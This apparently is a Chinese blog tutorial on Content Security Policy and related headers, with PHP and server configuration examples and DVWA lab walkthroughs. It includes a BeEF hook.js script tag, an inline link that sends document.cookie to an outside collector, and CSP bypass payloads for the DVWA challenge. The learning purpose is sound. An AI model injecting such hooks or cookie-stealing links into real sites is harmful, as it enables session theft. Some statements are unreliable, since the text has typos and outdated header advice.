CSP内容安全策略
1. 引入
安全配置——基线检查
XSS中的Get Cookie攻击,可以通过在set-cookle字段中增加httponly属性来限制jS读取Cookie,但并不能从根本上解决XSS攻击,因为获取Cookie并非XSS的唯—攻击方式。
可以采用以下方式添加限制:
1.在php.ini配置文件中进行cookie只读设置的开启(有效范围:全局)# 找到session.cookie_httponly =
修改为:
session.cookie_httponly = on
2.在php代码顶部设置(有效范围:当前页面)<?php
ini_set("session.cookie_httponly",1);?>3.在setcookie函数中第7个参数中设置〈有效范围:当前cookie)<?php
setcookie("mycookie","myvalue",time()+3600,'/','woniuxy.com',null,true);?>
另外的防御方案就是对用户的输入进行各种校验,过程非常繁琐,还容易出错或者遗漏。
2. CSP内容安全策略
CSP的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。
CSP大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。有两种方法可以启用CSP。
- 是通过HTTP响应头信息的Content-Security-Policy的字段
Content-Security-Policy: script-src 'se1f';object-src 'none'; style-src cdn.example.org third-party.org;child-src https:
在(主页)PHP代码中直接使用header()函数定义响应头内容即可
- 通过网页的meta标签
<metahttp-equiv="content-Security-Policy"content="script-src 'se1f'; object-src 'none'; style-srccdn.example.org third-party.org; child-src https:">
上面代码中,CSP做了如下配置:
default-src : 定义针对所有类型(js/image/css/font/ajax/iframe/多媒体等)资源的默认加戟策略,如果某类型资源没有单独定义策略,就使用默认的。
script-src 'self' http://www.woniumote.com,对于脚本:只信任当前域名自己和http://www.woniumote.com
object-src 'none ',对于<object>标签:不信任任何URL,即不加载任何资源
style-src,对于样式表:只信任cdn.example.org和third-party.org
child-src https,对于框架〈frame)∶必须使用HTTPs协议加载,注意冒号是https协议的一部分
对于其他资源:如果未定义,则使用default-src
—旦启用,不符合CSP的外部资源就会被阻止不进行加载。
- 在DVWA/vulnerabilities/xss_s/的index.php页面,增加以下响应头
header("content-Security-policy: script-src 'self'");// header("Content-Security-Policy: script-src 'self' http://192.168.233.150:3000");// header("Content-Security-Policy: script-src 'self' http://192.168.233.150:3000 'unsafe-inline'");
此时在beef的恶意代码注入的位置,访问:http://192.168.233.150:3000/hook.js,并打开浏览器的F12,查看浏览器安全提示如下:
- report-uri安全报告
在Content-Security-Policy中,我们还可以设置report-uri属性,用于向一个指定的服务器地址提交JSON格式的安全报告
header("Content-Security-policy: script-src 'self'; report-uri http://192.168.233.103/DVWA/vulnerabilities/csp/csp_report/csp_report.php");
将上诉函数代码放到首页代码中,我这是index.php
一旦访问到受攻击页面并触发了脚本执行,浏览器除了阻止攻击脚本执行外,还会按照以下JSON格式提交安全报告内容
{"csp-report":{"blocked-uri":"http://192.168.233.150:3000/hook.js","document-uri":"http://localhost/DVWA/vulnerabilities/csp/index.php","original-policy":"script-src 'self'; report-uri http://192.168.233.103/DVWA/vulnerabilities/csp/csp_report/csp_report.php","referrer":"http://localhost/DVWA/vulnerabilities/csp/index.php","violated-directive":"script-src"}}
csp_report.php的代码如下:
<?php//功能:收集csp的report报告的JSON数据,进行写入文件$time=date('Y-m-d H:i:s');$file=fopen('../../upload/csp/csp_report.txt','a');//以追加方式打开文件$data=file_get_contents('php://input');//利用伪协议取得POST请求内容$json=json_decode($data,true);//true表示生成关联数组fwrite($file,'report-time: '.$time."\r\n");//注意:\r\n必须在双引号中foreach($json['csp-report']as$key=>$value){fwrite($file,$key.":".$value."\r\n");}fwrite($file,"\r\n----------------------------r\n");fclose($file);?>
我们可以进入一个存在XSS注入漏洞的页面,使之触发以上代码执行,并在csp_report.txt文件中输出以下内容:
report-time:2022-11-0617:00:56
blocked-uri:http://192.168.233.150:3000/hook.js
document-uri:http://localhost/DVWA/vulnerabilities/csp/
original-policy:script-src 'self'; report-uri http://192.168.233.103/DVWA/vulnerabilities/csp/csp_report/csp_report.php
referrer:http://localhost/DVWA/vulnerabilities/csp/
violated-directive:script-src
----------------------------
小细节:
- 我用的是DVWA中的csp页面
- 需要设置报告所在目录为可写权限,或者直接将其遍历后保存到数据库中。
- 设置响应头的Content-Security-Policy-Report-Only字段,则可以不拦截,只上报。
- 其他安全配置
#允许服务器自己和来自http://192.168.233.155的脚本源header("content-Security-policy: script-src 'se1f' http://192.168.233.155");#允许服务器自己和来自http://192.168.233.155的脚本源,并允许行内代码执行header("content-Security-Policy: script-src 'se1f' http://192.168.233.155 'unsafe-inline'");#以下没有包含在<script>标签中的代码称为行内代码<a href=\'javascript:location.href="http://192.168.112.183/xssrecv.php?ur1="%2Blocation.href%2B"%26cookie="%2Bdocument.cookie \'><img src="http://192.168.233.155/dateme.gif"/></a>
更多CSP安全策略,可参考http://www.ruanyifeng.com/blog/2016/09/csp.html或https://cloud.tencent.com/developer/chapter/13541
- Web服务器全局配置
上述代码演示仅限于针对单页面内容设置专用的响应头,事实上也可以修改Web服务器的配置文件,直接为其添加全局配置即可。
( 1) Apache添加,修改httpd.conf,添加
Header set Content-Security-Policy "default-src 'self';
report-uri http://192.168.233.103/DVWA/vulnerabilities/csp/csp_report/csp_report.php"
(2)Nginx添加,,在server节点下添加
add_header Content-Security-Policy "default-src 'self';";
3. DVWA中的CSP过关
- Chrome浏览器: Low:
https://pastebin.com/raw/EvHDVhre
步骤:
1.访问DVWA的csp页面
2.先将beef生成的恶意js代码填入提交
<scriptsrc="http://192.168.233.150:3000/hook.js"></script>
3.发现失败,不需要加上<script>标签,只需url就行
4.提交url后在开发者模式中发现报错,禁止执行这条js代码,且在请求中发现csp允许执行的域名的白名单列表
5.从这些白名单中的域名下手
6.那就先从https://pastebin.com开始
7.在文本框中提交alert(333csp333);
8.点击raw进行查看,会跳转链接,发现显现该字符串,相当于将该代码保存在该页面,复制该页面链接
9.回到csp页面,将复制的链接进行提交,成功弹窗
Medium:
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(44444)</script>
步骤:
1.访问DVWA的csp页面
2.先将beef生成的恶意js代码填入提交
<scriptsrc="http://192.168.233.150:3000/hook.js"></script>
3.发现报错,并提示一串字符:nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=,这时候可以查查nonce是什么意识
4.将这一串字符添加到<script>标签中,进行提交,成功弹窗
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(44444)</script>
- CSP的绕过策略 参考链接: https://www.jianshu.com/p/f1de775bc43e
4. 其他安全响应头
- X-Content-Type-Options 互联网上的资源有各种类型,通常浏览器会根据响应头的Content-Type字段来分辨它们的类型。例如:"text/htm1"代表html文档, "image/png"是PNG图片,“text/css"是CSS样式文档。然而,有些资源的Content-Type是错的或者未定义。这时,某些浏览器会启用MIME-sniffing来猜测该资源的类型,解析内容并执行。 例如,我们即使给一个Ttml文档指定Content-Type为"text/plain”,在IE8-中这个文档依然会被当做html来解析。利用浏览器的这个特性,攻击者甚至可以让原本应该解析为图片的请求被解析为JavaScript。通过下面这个响应头可以禁用浏览器的类型猜测行为:
X-Content-Type-Options: nosniff
- X-XSS-Protection 顾名思义,这个响应头是用来防范XSS的。现在主流浏览器都支持,并且默认都开启了XSS保护,它有几种配置:
- 0:禁用XSS保护;
- 1:启用XSS保护;
- 1;mode=block:启用XSS保护,并在检查到XSS攻击时,停止渲染页面(例如IE8中,检查到攻击时,整个页面会被一个#替换);
最后,安全问题很重要,有些配置或许用不上,但尽量不要去改变它原有的安全配置。
版权归原作者 星空☜ 所有, 如有侵权,请联系我们删除。